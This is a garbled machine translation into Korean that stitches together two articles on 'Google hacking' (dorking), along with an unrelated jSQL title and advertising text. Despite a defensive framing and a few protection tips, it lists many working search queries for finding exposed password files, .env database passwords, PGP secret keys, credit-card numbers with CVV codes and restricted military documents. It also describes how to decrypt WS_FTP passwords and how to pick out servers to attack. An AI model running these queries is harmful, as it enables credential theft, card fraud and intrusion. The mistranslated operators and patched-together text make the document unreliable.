Kali Linux에서 SQL 주입을 찾아 활용하기 위한 다기능 도구인 jSQL 주입 사용에 대한 지침입니다. 잘 알려지지 않은 Google 기능을 사용하여 URL 게시 미리보기 PHP ID에서 숨겨진 제품 찾기

Google을 이용한 해킹

알렉산더 안티포프

Google 검색 엔진(www.google.com)은 다양한 검색 옵션을 제공합니다. 이러한 모든 기능은 인터넷을 처음 접하는 사용자를 위한 귀중한 검색 도구이자 동시에 해커뿐만 아니라 컴퓨터가 아닌 범죄자 및 테러리스트라도.
(1주 동안 조회수 9475회)


데니스 바란코프
데니스NOSPAMixi.ru

주목: 이 글은 행동 지침이 아닙니다. 이 기사는 웹 서버 관리자 여러분을 위해 작성되었으므로 여러분은 안전하다는 잘못된 느낌을 버리고 마침내 이러한 정보 획득 방법의 교활함을 이해하고 사이트를 보호하는 임무를 맡게 될 것입니다.

소개

예를 들어 0.14초 만에 1670페이지를 찾았어요!

2. 다른 라인을 입력합니다. 예:

inurl:"auth_user_file.txt"

조금 적지만 무료 다운로드 및 비밀번호 추측(동일한 John The Ripper 사용)에는 이미 충분합니다. 아래에서 더 많은 예를 들어 보겠습니다.

따라서 Google 검색 엔진이 대부분의 인터넷 사이트를 방문하고 해당 사이트에 포함된 정보를 캐시했다는 사실을 인식해야 합니다. 이렇게 캐시된 정보를 사용하면 사이트에 직접 연결하지 않고도 Google 내부에 저장된 정보를 탐색하는 것만으로 사이트 및 사이트 콘텐츠에 대한 정보를 얻을 수 있습니다. 또한 사이트의 정보를 더 이상 사용할 수 없는 경우 캐시의 정보는 계속 보존될 수 있습니다. 이 방법에 필요한 것은 몇 가지 Google 키워드를 아는 것뿐입니다. 이 기술을 Google 해킹이라고 합니다.

Google 해킹에 대한 정보는 3년 전 Bugtruck 메일링 리스트에 처음 등장했습니다. 2001년에 한 프랑스 학생이 이 주제를 제기했습니다. 다음은 이 편지에 대한 링크입니다(http://www.cotse.com/mailing-lists/bugtraq/2001/Nov/0129.html). 이러한 쿼리의 첫 번째 예를 제공합니다.

1) /admin의 색인
2) /password 인덱스
3) /mail의 색인
4) / +banques +filetype:xls 색인(프랑스의 경우...)
5) / +passwd 인덱스
6) /password.txt의 색인

이 주제는 최근 인터넷의 영어 읽기 부문에서 큰 반향을 일으켰습니다. 2004년 5월 7일에 출판된 Johnny Long의 기사 이후였습니다. Google 해킹에 대한 보다 완전한 연구를 위해서는 이 저자의 웹사이트인 http://johnny.ihackstuff.com을 방문하는 것이 좋습니다. 이 기사에서는 최신 소식을 전해드리고 싶습니다.

누가 이것을 사용할 수 있습니까?
- 언론인, 스파이, 그리고 다른 사람의 일에 끼어들기를 좋아하는 모든 사람들은 이것을 유죄 증거를 찾는 데 사용할 수 있습니다.
- 해킹에 적합한 대상을 찾는 해커.

Google의 작동 방식

대화를 계속하려면 Google 검색어에 사용되는 몇 가지 키워드를 상기시켜 드리겠습니다.

+ 기호를 사용하여 검색

Google은 중요하지 않다고 판단되는 단어를 검색에서 제외합니다. 예를 들어 영어로 된 질문 단어, 전치사 및 관사는 예를 들어 are, of, where입니다. 러시아어에서는 Google이 모든 단어를 중요하게 생각하는 것 같습니다. 검색에서 단어가 제외되면 Google은 해당 단어에 대해 기록합니다. Google에서 이러한 단어가 포함된 페이지 검색을 시작하려면 단어 앞에 공백 없이 + 기호를 추가해야 합니다. 예를 들어:

에이스 + 베이스

기호를 사용하여 검색 –

Google이 특정 주제가 포함된 페이지를 제외해야 하는 페이지를 많이 찾은 경우 Google이 특정 단어가 포함되지 않은 페이지만 검색하도록 강제할 수 있습니다. 이렇게 하려면 단어 앞에 공백 없이 각 단어 앞에 기호를 배치하여 이러한 단어를 표시해야 합니다. 예를 들어:

낚시 - 보드카

~를 사용하여 검색

지정된 단어뿐만 아니라 해당 단어의 동의어도 검색할 수 있습니다. 이렇게 하려면 단어 앞에 ~ 기호를 붙입니다.

큰따옴표를 사용하여 정확한 문구 찾기

Google은 각 페이지에서 검색어 문자열에 작성한 모든 단어를 검색하며, 지정된 모든 단어가 동시에 페이지에 있는 한 단어의 상대적 위치에는 신경 쓰지 않습니다. 기본 동작). 정확한 문구를 찾으려면 따옴표로 묶어야 합니다. 예를 들어:

"북엔드"

지정된 단어 중 하나 이상을 가지려면 논리 연산 OR을 명시적으로 지정해야 합니다. 예를 들어:

책 안전 또는 보호

또한 검색창에 * 기호를 사용하여 단어를 표시할 수 있습니다. 어떤 캐릭터를 표현하기 위해

추가 연산자를 사용하여 단어 찾기

검색 문자열에 다음 형식으로 지정된 검색 연산자가 있습니다.

연산자:search_term

콜론 옆의 공백은 필요하지 않습니다. 콜론 뒤에 공백을 삽입하면 오류 메시지가 표시되며 그 앞에는 Google이 이를 일반 검색 문자열로 사용합니다.
추가 검색 연산자 그룹이 있습니다. 언어 - 결과를 보려는 언어 표시, 날짜 - 지난 3개월, 6개월 또는 12개월 동안의 결과 제한, 발생 횟수 - 검색해야 하는 문서의 위치 표시 라인: 제목, URL, 도메인의 모든 위치 - 지정된 사이트에서 검색하거나 반대로 검색에서 제외 - 지정된 유형의 정보가 포함된 사이트를 차단하고 검색 결과 페이지에서 제거합니다.
동시에 일부 연산자에는 추가 매개변수가 필요하지 않습니다. 예를 들어 "cache:www.google.com" 요청은 본격적인 검색 문자열로 호출될 수 있으며, 반대로 일부 키워드에는 검색이 필요합니다. 예를 들어 'site:www.google.com help'입니다. 주제를 고려하여 다음 연산자를 살펴보겠습니다.

운영자

설명

추가 매개변수가 필요합니까?

search_term에 지정된 사이트에서만 검색하세요.

search_term 유형의 문서에서만 검색

제목에 search_term이 포함된 페이지 찾기

제목에 모든 search_term 단어가 포함된 페이지 찾기

주소에 search_term이라는 단어가 포함된 페이지를 찾습니다.

주소에 모든 search_term 단어가 포함된 페이지를 찾습니다.

site: 연산자는 검색을 지정된 사이트로만 제한하며 도메인 이름뿐만 아니라 IP 주소도 지정할 수 있습니다. 예를 들어 다음을 입력합니다.

파일 유형 연산자: 검색을 특정 파일 유형으로 제한합니다. 예를 들어:

기사가 게시된 날짜를 기준으로 Google은 13가지 파일 형식 내에서 검색할 수 있습니다.

  • Adobe 휴대용 문서 형식(pdf)
  • 어도비 포스트스크립트(ps)
  • 로터스 1-2-3(wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
  • 로터스 워드프로(lwp)
  • 맥쓰기(MW)
  • 마이크로소프트 엑셀(xls)
  • 마이크로소프트 파워포인트(ppt)
  • 마이크로소프트 워드(문서)
  • 마이크로소프트 웍스(wks, wps, wdb)
  • 마이크로소프트 쓰기(wri)
  • 리치 텍스트 형식(rtf)
  • 충격파 플래시(swf)
  • 텍스트(ans, txt)

링크 연산자: 지정된 페이지를 가리키는 모든 페이지를 표시합니다.
인터넷에서 얼마나 많은 장소가 귀하에 대해 알고 있는지 확인하는 것은 항상 흥미로울 것입니다. 해보자:

캐시 연산자: Google이 해당 페이지를 마지막으로 방문했을 때의 모습으로 Google 캐시에 있는 사이트 버전을 표시합니다. 자주 변경되는 사이트를 살펴보겠습니다.

intitle 연산자: 페이지 제목에서 특정 단어를 검색합니다. allintitle: 연산자는 확장 기능입니다. 페이지 제목에 지정된 여러 단어를 모두 검색합니다. 비교하다:

제목:화성으로의 비행
intitle:비행 intitle:on intitle:화성
allintitle:화성으로의 비행

inurl 연산자: Google이 URL에 지정된 문자열을 포함하는 모든 페이지를 표시하도록 합니다. allinurl 연산자: URL의 모든 단어를 검색합니다. 예를 들어:

allinurl:산성 acid_stat_alerts.php

이 명령은 SNORT가 없는 사람들에게 특히 유용합니다. 최소한 실제 시스템에서 어떻게 작동하는지 볼 수는 있습니다.

Google을 이용한 해킹 방법

그래서 위의 연산자와 키워드의 조합을 이용하면 누구나 필요한 정보를 수집하고 취약점을 검색할 수 있다는 것을 알게 되었습니다. 이러한 기술을 흔히 Google 해킹이라고 합니다.

사이트 맵

site: 연산자를 사용하면 Google이 사이트에서 찾은 모든 링크를 나열할 수 있습니다. 일반적으로 스크립트에 의해 동적으로 생성된 페이지는 매개변수를 사용하여 색인화되지 않으므로 일부 사이트에서는 ISAPI 필터를 사용하여 링크가 /article.asp?num=10&dst=5 형식이 아니라 슬래시 /article/abc/num/ 형식이 되도록 합니다. 10/일/5. 이는 사이트가 일반적으로 검색 엔진에 의해 색인화되도록 수행됩니다.

해보자:

사이트:www.whitehouse.gov

Google은 웹사이트의 모든 페이지에 Whitehouse라는 단어가 포함되어 있다고 생각합니다. 이것이 우리가 모든 페이지를 얻는 데 사용하는 것입니다.
단순화된 버전도 있습니다:

사이트:whitehouse.gov

그리고 가장 좋은 점은 whitehouse.gov의 동지들이 우리가 그들의 사이트 구조를 살펴보고 심지어 Google이 다운로드한 캐시된 페이지를 살펴보았다는 사실조차 몰랐다는 것입니다. 이는 사이트의 구조를 연구하고 콘텐츠를 보는 데 사용될 수 있으며 당분간은 감지되지 않습니다.

디렉터리의 파일 목록 보기

웹 서버는 일반 HTML 페이지 대신 서버 디렉토리 목록을 표시할 수 있습니다. 이는 일반적으로 사용자가 특정 파일을 선택하고 다운로드하도록 하기 위해 수행됩니다. 그러나 대부분의 경우 관리자는 디렉토리의 내용을 표시할 의도가 없습니다. 이는 서버 구성이 잘못되었거나 디렉터리에 기본 페이지가 없기 때문에 발생합니다. 결과적으로 해커는 디렉토리에서 흥미로운 것을 찾아 자신의 목적에 맞게 사용할 기회를 갖게 됩니다. 이러한 페이지를 모두 찾으려면 해당 페이지에 index of라는 단어가 모두 포함되어 있다는 점만 알아두면 충분합니다. 그러나 단어 색인에는 그러한 페이지만 포함되어 있는 것이 아니기 때문에 검색어를 구체화하고 페이지 자체의 키워드를 고려해야 합니다. 따라서 검색어는 다음과 같습니다.

intitle:index.of 상위 디렉토리
intitle:index.of 이름 크기

대부분의 디렉토리 목록은 의도적이므로 처음에는 위치가 잘못된 목록을 찾는 데 어려움을 겪을 수 있습니다. 그러나 최소한 아래 설명된 대로 이미 목록을 사용하여 웹 서버 버전을 확인할 수 있습니다.

웹 서버 버전을 얻는 중입니다.

해커 공격을 시작하기 전에 웹 서버 버전을 아는 것이 항상 유용합니다. 이번에도 Google 덕분에 서버에 연결하지 않고도 이 정보를 얻을 수 있습니다. 디렉토리 목록을 자세히 살펴보면 웹 서버의 이름과 버전이 표시되어 있는 것을 볼 수 있습니다.

Apache1.3.29 - trf296.free.fr 포트 80의 ProXad 서버

숙련된 관리자는 이 정보를 변경할 수 있지만 일반적으로 이는 사실입니다. 따라서 이 정보를 얻으려면 요청을 보내는 것으로 충분합니다.

제목:index.of server.at

특정 서버에 대한 정보를 얻으려면 요청을 명확히 해야 합니다.

제목:index.of server.at 사이트:ibm.com

또는 그 반대로 특정 버전의 서버를 실행하는 서버를 찾고 있습니다.

제목:index.of Apache/2.0.40 서버 위치

이 기술은 해커가 피해자를 찾는 데 사용될 수 있습니다. 예를 들어, 특정 버전의 웹 서버에 대한 익스플로잇이 있는 경우 이를 찾아서 기존 익스플로잇을 시도할 수 있습니다.

최신 버전의 WEB 서버 설치 시 기본적으로 설치되는 페이지를 확인하여 서버 버전을 확인할 수도 있습니다. 예를 들어 Apache 1.2.6 테스트 페이지를 보려면 다음을 입력하십시오.

제목:Test.Page.for.Apache it.worked!

또한 일부 운영 체제에서는 설치 중에 웹 서버를 즉시 설치하고 실행합니다. 그러나 일부 사용자들은 이 사실조차 인지하지 못하고 있습니다. 당연히 누군가가 기본 페이지를 제거하지 않은 것을 보면 컴퓨터가 전혀 사용자 정의되지 않았으며 공격에 취약할 가능성이 있다고 가정하는 것이 논리적입니다.

IIS 5.0 페이지를 검색해 보세요.

allintitle:Windows 2000 인터넷 서비스에 오신 것을 환영합니다.

IIS의 경우 서버 버전뿐만 아니라 Windows 버전과 서비스 팩도 확인할 수 있습니다.

WEB 서버 버전을 확인하는 또 다른 방법은 사이트에 기본적으로 설치될 수 있는 매뉴얼(도움말 페이지)과 예제를 검색하는 것입니다. 해커는 이러한 구성 요소를 사용하여 사이트에 대한 권한 있는 액세스를 얻는 몇 가지 방법을 발견했습니다. 그렇기 때문에 생산 현장에서 이러한 구성 요소를 제거해야 합니다. 이러한 구성 요소가 있으면 서버 유형과 버전에 대한 정보를 얻을 수 있다는 사실은 말할 것도 없습니다. 예를 들어, Apache 매뉴얼을 찾아보겠습니다:

inurl:수동 Apache 지시문 모듈

Google을 CGI 스캐너로 사용.

CGI 스캐너 또는 WEB 스캐너는 피해자 서버에서 취약한 스크립트 및 프로그램을 검색하는 유틸리티입니다. 이러한 유틸리티는 무엇을 찾아야 하는지 알아야 합니다. 이를 위해 다음과 같은 취약한 파일의 전체 목록이 있습니다.

/cgi-bin/cgiemail/uargg.txt
/random_banner/index.cgi
/random_banner/index.cgi
/cgi-bin/mailview.cgi
/cgi-bin/maillist.cgi
/cgi-bin/userreg.cgi

/iissamples/ISSamples/SQLQHit.asp
/SiteServer/admin/findvserver.asp
/scripts/cphost.dll
/cgi-bin/finger.cgi

Google을 사용하여 이러한 각 파일을 찾을 수 있으며 검색 창에 파일 이름과 함께 index of 또는 inurl이라는 단어를 추가로 사용하여 찾을 수 있습니다. 예를 들어 다음과 같이 취약한 스크립트가 있는 사이트를 찾을 수 있습니다.

allinurl:/random_banner/index.cgi

추가 지식을 사용하여 해커는 스크립트의 취약점을 악용하고 이 취약점을 사용하여 스크립트가 서버에 저장된 모든 파일을 강제로 내보내도록 할 수 있습니다. 예를 들어 비밀번호 파일.

Google 해킹으로부터 자신을 보호하는 방법. 1. WEB 서버에 중요한 데이터를 게시하지 마십시오.

일시적으로 데이터를 게시했더라도 잊어버릴 수도 있고, 삭제하기 전에 누군가가 이 데이터를 찾아 가져갈 시간이 생길 수도 있습니다. 이러지 마세요. 도난으로부터 데이터를 보호하기 위해 데이터를 전송하는 다른 방법이 많이 있습니다.

2. 사이트를 확인하세요.

귀하의 사이트를 조사하려면 설명된 방법을 사용하십시오. 사이트 http://johnny.ihackstuff.com에 나타나는 새로운 방법을 정기적으로 확인하십시오. 작업을 자동화하려면 Google로부터 특별 허가를 받아야 한다는 점을 기억하세요. 잘 읽어보시면 http://www.google.com/terms_of_service.html을 클릭하면 다음 문구가 표시됩니다. Google의 사전 명시적 허가 없이는 Google 시스템에 어떤 종류의 자동 검색어도 보낼 수 없습니다.

3. 귀하의 사이트나 그 일부를 색인화하는 데 Google이 필요하지 않을 수도 있습니다.

Google에서는 귀하의 사이트에 대한 링크나 그 일부를 데이터베이스에서 제거할 수 있을 뿐만 아니라 캐시에서 페이지를 제거할 수 있습니다. 또한 사이트에서 이미지 검색을 금지하고, 페이지의 짧은 조각이 검색 결과에 표시되는 것을 금지할 수 있습니다. 사이트 삭제에 대한 모든 가능성은 페이지에 설명되어 있습니다. http://www.google.com/remove.html. 이렇게 하려면 귀하가 실제로 이 사이트의 소유자인지 확인하거나 태그를 삽입해야 합니다.

4. robots.txt를 사용하세요

검색 엔진은 사이트 루트에 있는 robots.txt 파일을 확인하고 Disallow라는 단어가 표시된 부분을 색인화하지 않는 것으로 알려져 있습니다. 이를 사용하여 사이트의 일부가 색인화되는 것을 방지할 수 있습니다. 예를 들어 전체 사이트의 색인이 생성되지 않도록 하려면 다음 두 줄이 포함된 robots.txt 파일을 만듭니다.

사용자 에이전트: *
허용하지 않음: /

또 무슨 일이 일어나는지

인생이 당신에게 꿀처럼 보이지 않도록 마지막으로 위에서 설명한 방법을 사용하여 스크립트와 웹 서버에서 구멍을 찾는 사람들을 모니터링하는 사이트가 있다고 말씀 드리겠습니다. 그러한 페이지의 예는 다음과 같습니다.

애플리케이션.

조금 달콤합니다. 다음 중 몇 가지를 직접 시도해 보세요.

1. #mysql dump filetype:sql - mySQL 데이터베이스 덤프 검색
2. 호스트 취약점 요약 보고서 - 다른 사람들이 발견한 취약점을 보여줍니다.
3. inurl:main.php에서 실행 중인 phpMyAdmin - phpmyadmin 패널을 통해 제어가 강제로 닫힙니다.
4. 기밀 배포용이 아닙니다.
5. 요청 세부 사항 제어 트리 서버 변수
6. 어린이 모드로 실행
7. 이 보고서는 WebLog에 의해 생성되었습니다.
8. 제목:index.of cgiirc.config
9. filetype:conf inurl:firewall -intitle:cvs – 누군가 방화벽 구성 파일이 필요한가요? :)
10. 제목:index.of Finances.xls – 흠....
11. intitle:dbconvert.exe 채팅 ​​색인 – icq 채팅 로그
12.intext:Tobias Oetiker 트래픽 분석
13. intitle:Webalizer에 의해 생성된 사용 통계
14. intitle:고급 웹 통계 통계
15. intitle:index.of ws_ftp.ini – ws ftp 구성
16. inurl:ipsec.secrets는 공유 비밀을 보유합니다 – 비밀 키 – 좋은 찾기
17. inurl:main.php phpMyAdmin에 오신 것을 환영합니다.
18. inurl:server-info 아파치 서버 정보
19. 사이트:교육 관리자 성적
20. ORA-00921: SQL 명령의 예기치 않은 종료 - 경로 가져오기
21. 제목:index.of trillian.ini
22. intitle:pwd.db의 색인
23.제목:index.of people.lst
24. 제목:index.of master.passwd
25.inurl:passlist.txt
26. intitle:.mysql_history의 인덱스
27. intitle:intext 인덱스:globals.inc
28. 제목:index.ofadmins.pwd
29. 제목:Index.of 등 ​​그림자
30.제목:index.ofsecring.pgp
31. inurl:config.php dbuname dbpass
32. inurl:파일 형식 수행:ini

  • "Google을 통한 해킹"
  • 교육 센터 "Informzashita" http://www.itsecurity.ru - 정보 보안 교육 분야의 선도적인 전문 센터(모스크바 교육위원회 라이센스 번호 015470, 국가 인증 번호 004251). 러시아 및 CIS 국가에서 인터넷 보안 시스템 및 Clearswift에 대한 유일한 공인 교육 센터입니다. Microsoft 공인 교육 센터(보안 전문화) 훈련 프로그램은 러시아 국가 기술 위원회인 FSB(FAPSI)와 협력합니다. 훈련 증명서 및 고급 훈련에 관한 주 문서.

    SoftKey는 구매자, 개발자, 딜러 및 제휴 파트너를 위한 고유한 서비스입니다. 또한 이것은 러시아, 우크라이나, 카자흐스탄 최고의 온라인 소프트웨어 상점 중 하나로서 고객에게 다양한 제품, 다양한 결제 방법, 신속한(종종 즉시) 주문 처리, 개인 섹션의 주문 프로세스 추적, 다양한 기능을 제공합니다. 매장 및 제조업체의 할인 BY.

    개인 데이터를 얻는 것이 항상 해킹을 의미하는 것은 아닙니다. 때로는 공개적으로 게시되기도 합니다. Google 설정에 대한 지식과 약간의 독창성을 통해 신용카드 번호부터 FBI 문서까지 흥미로운 것들을 많이 찾을 수 있습니다.

    경고 모든 정보는 정보 제공의 목적으로만 제공됩니다. 편집자나 저자 모두 이 기사의 자료로 인해 발생할 수 있는 피해에 대해 책임을 지지 않습니다.

    오늘날 모든 것이 인터넷에 연결되어 있어 액세스 제한에 대한 걱정은 거의 없습니다. 따라서 많은 개인 데이터가 검색 엔진의 먹이가 됩니다. 스파이더 로봇은 더 이상 웹 페이지에만 국한되지 않고 인터넷에서 사용 가능한 모든 콘텐츠를 색인화하고 비공개 정보를 데이터베이스에 지속적으로 추가합니다. 이러한 비밀을 알아내는 것은 쉽습니다. 이에 대해 물어보는 방법만 알면 됩니다.

    파일을 찾는 중

    유능한 사람이라면 Google은 개인 정보, 공식 사용을 위한 파일 등 인터넷에서 찾을 수 없는 모든 것을 신속하게 찾아낼 것입니다. 이들은 양탄자 아래 열쇠처럼 숨겨져 있는 경우가 많습니다. 실제 액세스 제한이 없으며 데이터는 링크가 연결되지 않는 사이트 뒷면에 있을 뿐입니다. 표준 Google 웹 인터페이스는 기본적인 고급 검색 설정만 제공하지만 이것만으로도 충분합니다.

    filetype 및 ext 두 가지 연산자를 사용하여 Google 검색을 특정 파일 유형으로 제한할 수 있습니다. 첫 번째는 검색 엔진이 파일 제목에서 결정한 형식을 지정하고, 두 번째는 내부 내용에 관계없이 파일 확장자를 지정합니다. 두 경우 모두 검색할 때는 확장자만 지정하면 됩니다. 처음에는 파일에 특정 형식 특성이 없는 경우(예: 무엇이든 포함할 수 있는 ini 및 cfg 구성 파일 검색) ext 연산자를 사용하는 것이 편리했습니다. 이제 Google의 알고리즘이 변경되었으며 연산자 간에 눈에 띄는 차이가 없습니다. 대부분의 경우 결과는 동일합니다.


    결과 필터링

    기본적으로 Google은 색인이 생성된 페이지의 모든 파일에 있는 단어 및 일반적으로 입력된 문자를 검색합니다. 최상위 도메인, 특정 사이트 또는 파일 자체의 검색 순서 위치를 기준으로 검색 영역을 제한할 수 있습니다. 처음 두 옵션의 경우 사이트 연산자를 사용하고 그 뒤에 도메인 이름이나 선택한 사이트 이름을 입력하세요. 세 번째 경우에는 전체 연산자 세트를 사용하여 서비스 필드 및 메타데이터의 정보를 검색할 수 있습니다. 예를 들어, allinurl은 링크 자체의 본문에서 주어진 항목인 allinanchor를 찾습니다. - 태그가 포함된 텍스트에서 , allintitle - 페이지 제목, allintext - 페이지 본문.

    각 연산자에는 더 짧은 이름(접두사 all 제외)의 경량 버전이 있습니다. 차이점은 allinurl은 모든 단어가 포함된 링크를 찾고, inurl은 그 중 첫 번째 단어가 포함된 링크만 찾는다는 것입니다. 검색어의 두 번째 및 후속 단어는 웹페이지 어디에나 나타날 수 있습니다. inurl 연산자는 유사한 의미를 지닌 다른 연산자인 사이트와도 다릅니다. 첫 번째 방법을 사용하면 알려진 취약점이 있는 구성 요소를 찾는 데 널리 사용되는 검색된 문서(예: /cgi-bin/)에 대한 링크에서 일련의 문자를 찾을 수 있습니다.

    실제로 시도해 봅시다. 우리는 allintext 필터를 사용하여 요청이 2년 후에만 만료되는(또는 소유자가 모든 사람에게 먹이를 주는 데 지쳤을 때) 신용 카드의 번호 및 확인 코드 목록을 생성하도록 합니다.

    Allintext: 카드번호 유효기간/2017 cvv

    젊은 해커가 국방부나 NASA의 서버를 해킹하여 기밀 정보를 훔쳤다는 뉴스를 읽을 때 대부분의 경우 Google을 사용하는 기본 기술에 대해 이야기하고 있습니다. NASA 직원 목록과 연락처 정보에 관심이 있다고 가정해 보겠습니다. 확실히 그러한 목록은 전자 형식으로 제공됩니다. 편의를 위해 또는 감독으로 인해 해당 조직의 웹사이트 자체에 있을 수도 있습니다. 이 경우에는 내부용이므로 링크가 없다는 것이 논리적입니다. 그러한 파일에는 어떤 단어가 포함될 수 있습니까? 최소한 "주소" 필드입니다. 이러한 모든 가정을 테스트하는 것은 쉽습니다.


    Inurl:nasa.gov 파일 유형:xlsx "주소"


    우리는 관료주의를 사용합니다

    이와 같은 발견은 좋은 터치입니다. 웹마스터를 위한 Google 운영자, 네트워크 자체 및 찾고 있는 구조의 특성에 대한 보다 자세한 지식을 통해 정말 확실한 정보를 얻을 수 있습니다. 세부 사항을 알면 결과를 쉽게 필터링하고 필요한 파일의 속성을 구체화하여 나머지 부분에서 정말 귀중한 데이터를 얻을 수 있습니다. 관료주의가 여기서 구출된다는 것이 재밌습니다. 실수로 인터넷에 유출된 비밀 정보를 검색하는 데 편리한 표준 공식을 생성합니다.

    예를 들어, 미국 국방부에서 요구하는 배포 명세서 스탬프는 문서 배포에 대한 표준화된 제한을 의미합니다. 문자 A는 비밀이 없는 공개 릴리스를 나타냅니다. B - 내부 전용, C - 엄격한 기밀 등 F까지 계속됩니다. 문자 X는 별도로 눈에 띄며 최고 수준의 국가 비밀을 나타내는 특히 귀중한 정보를 표시합니다. 근무 중 이 작업을 수행해야 하는 사람들이 해당 문서를 검색하도록 하세요. 그러면 문자 C가 있는 파일로 제한하겠습니다. DoDI 지침 5230.24에 따르면 이 표시는 수출 통제 대상인 중요 기술에 대한 설명이 포함된 문서에 할당됩니다. . 미 육군에 할당된 최상위 domain.mil 사이트에서 신중하게 보호되는 정보를 찾을 수 있습니다.

    "배포문 C" inurl:navy.mil

    .mil 도메인에는 미국 국방부 및 그 계약 조직의 사이트만 포함되어 있어 매우 편리합니다. 도메인 제한이 있는 검색 결과는 매우 깨끗하며 제목 자체가 말해줍니다. 이런 방식으로 러시아 비밀을 검색하는 것은 사실상 쓸모가 없습니다. domains.ru 및.rf에서는 혼돈이 지배하고 많은 무기 시스템의 이름은 식물 이름 (PP "Kiparis", 자주포 "Akatsia")처럼 들리거나 심지어 멋진 ( TOS "부라티노").


    .mil 도메인 사이트의 문서를 주의 깊게 조사하면 검색 범위를 좁힐 수 있는 다른 마커를 볼 수 있습니다. 예를 들어, 흥미로운 기술 정보를 검색하는 데에도 편리한 수출 제한 "Sec 2751"에 대한 참조가 있습니다. 한때 등장했던 공식 사이트에서는 삭제되는 경우가 있기 때문에 검색결과에서 흥미로운 링크를 따라갈 수 없다면 구글의 캐시(캐시 운영자)나 인터넷 아카이브 사이트를 이용해보세요.

    구름 위로 올라가다

    실수로 기밀 해제된 정부 문서 외에도 공개적으로 게시된 데이터에 대한 '비공개' 링크를 생성하는 Dropbox 및 기타 데이터 저장 서비스의 개인 파일 링크가 Google 캐시에 나타나는 경우가 있습니다. 대체 서비스와 직접 만든 서비스의 경우 상황은 더욱 악화됩니다. 예를 들어 다음 쿼리는 FTP 서버가 설치되어 있고 라우터를 적극적으로 사용하는 모든 Verizon 고객에 대한 데이터를 찾습니다.

    Allinurl:ftp:// verizon.net

    현재 그러한 똑똑한 사람들은 4만 명이 넘고, 2015년 봄에는 그 수가 더 많아졌습니다. Verizon.net 대신 잘 알려진 제공업체의 이름으로 대체할 수 있으며, 유명할수록 더 큰 피해를 입을 수 있습니다. 내장된 FTP 서버를 통해 공유기에 연결된 외부 저장장치에 있는 파일을 볼 수 있습니다. 일반적으로 이는 원격 작업, 개인 클라우드 또는 일종의 P2P 파일 다운로드를 위한 NAS입니다. 이러한 미디어의 모든 콘텐츠는 Google 및 기타 검색 엔진에 의해 색인화되므로 직접 링크를 통해 외부 드라이브에 저장된 파일에 액세스할 수 있습니다.

    구성을 살펴보면

    클라우드로의 광범위한 마이그레이션 이전에는 단순 FTP 서버가 원격 스토리지로 사용되었으며 이 역시 취약점이 많았습니다. 그 중 다수는 오늘날에도 여전히 관련이 있습니다. 예를 들어, 널리 사용되는 WS_FTP Professional 프로그램은 ws_ftp.ini 파일에 구성 데이터, 사용자 계정 및 비밀번호를 저장합니다. 모든 기록은 텍스트 형식으로 저장되며, 비밀번호는 난독화를 최소화한 Triple DES 알고리즘으로 암호화되므로 찾기 및 읽기가 쉽습니다. 대부분의 버전에서는 첫 번째 바이트를 삭제하는 것만으로도 충분합니다.

    WS_FTP 비밀번호 해독기 유틸리티나 무료 웹 서비스를 사용하면 이러한 비밀번호를 쉽게 해독할 수 있습니다.

    임의의 웹사이트 해킹에 관해 이야기할 때 일반적으로 CMS 또는 전자 상거래 애플리케이션의 구성 파일 백업 및 로그에서 비밀번호를 얻는 것을 의미합니다. 일반적인 구조를 알면 키워드를 쉽게 표시할 수 있습니다. ws_ftp.ini에 있는 것과 같은 줄은 매우 일반적입니다. 예를 들어 Drupal과 PrestaShop에는 항상 사용자 식별자(UID)와 해당 비밀번호(pwd)가 있으며 모든 정보는 .inc 확장자를 가진 파일에 저장됩니다. 다음과 같이 검색할 수 있습니다.

    "pwd=" "UID=" 내선:inc

    DBMS 비밀번호 공개

    SQL 서버의 구성 파일에는 사용자 이름과 이메일 주소가 일반 텍스트로 저장되고 해당 MD5 ​​해시가 비밀번호 대신 기록됩니다. 엄밀히 말하면 이를 해독하는 것은 불가능하지만 알려진 해시-비밀번호 쌍 중에서 일치하는 항목을 찾을 수 있습니다.

    비밀번호 해싱조차 사용하지 않는 DBMS가 여전히 있습니다. 이들 중 하나의 구성 파일은 브라우저에서 간단히 볼 수 있습니다.

    텍스트:DB_PASSWORD 파일 유형:env

    Windows 서버의 출현으로 구성 파일의 위치는 레지스트리에서 부분적으로 차지했습니다. reg를 파일 유형으로 사용하여 정확히 동일한 방식으로 해당 분기를 검색할 수 있습니다. 예를 들어 다음과 같습니다.

    파일 형식:reg HKEY_CURRENT_USER "비밀번호"=

    당연한 사실을 잊지 말자

    때로는 실수로 공개되어 Google의 주목을 받은 데이터를 사용하여 기밀 정보에 접근하는 것이 가능합니다. 이상적인 옵션은 일반적인 형식의 비밀번호 목록을 찾는 것입니다. 절박한 사람들만이 계정 정보를 텍스트 파일, Word 문서 또는 Excel 스프레드시트에 저장할 수 있지만 항상 충분합니다.

    파일 형식:xls inurl:비밀번호

    한편으로는 그러한 사고를 예방할 수 있는 방법이 많이 있습니다. htaccess에 적절한 액세스 권한을 지정하고 CMS를 패치하며 왼손 스크립트를 사용하지 말고 다른 구멍을 닫아야 합니다. 검색 엔진이 지정된 파일과 디렉터리를 색인화하는 것을 금지하는 robots.txt 예외 목록이 포함된 파일도 있습니다. 반면에 일부 서버의 robots.txt 구조가 표준 서버와 다른 경우 서버에서 무엇을 숨기려고 하는지 즉시 알 수 있습니다.

    모든 사이트의 디렉터리 및 파일 목록 앞에는 표준 색인이 붙습니다. 서비스 목적을 위해서는 제목에 표시되어야 하므로 검색을 제목 연산자로 제한하는 것이 합리적입니다. 흥미로운 내용은 /admin/, /personal/, /etc/ 및 심지어 /secret/ 디렉토리에 있습니다.

    업데이트를 계속 지켜봐주세요

    여기서 관련성은 매우 중요합니다. 오래된 취약점은 매우 느리게 해결되지만 Google과 Google의 검색 결과는 지속적으로 변경됩니다. "마지막 순간" 필터(요청 URL 끝에 &tbs=qdr:s)와 "실시간" 필터(&tbs=qdr:1) 사이에도 차이가 있습니다.

    파일의 마지막 업데이트 날짜의 시간 간격도 Google에서 암시적으로 표시합니다. 그래픽 웹 인터페이스를 통해 표준 기간(시, 일, 주 등) 중 하나를 선택하거나 날짜 범위를 설정할 수 있지만 이 방법은 자동화에 적합하지 않습니다.

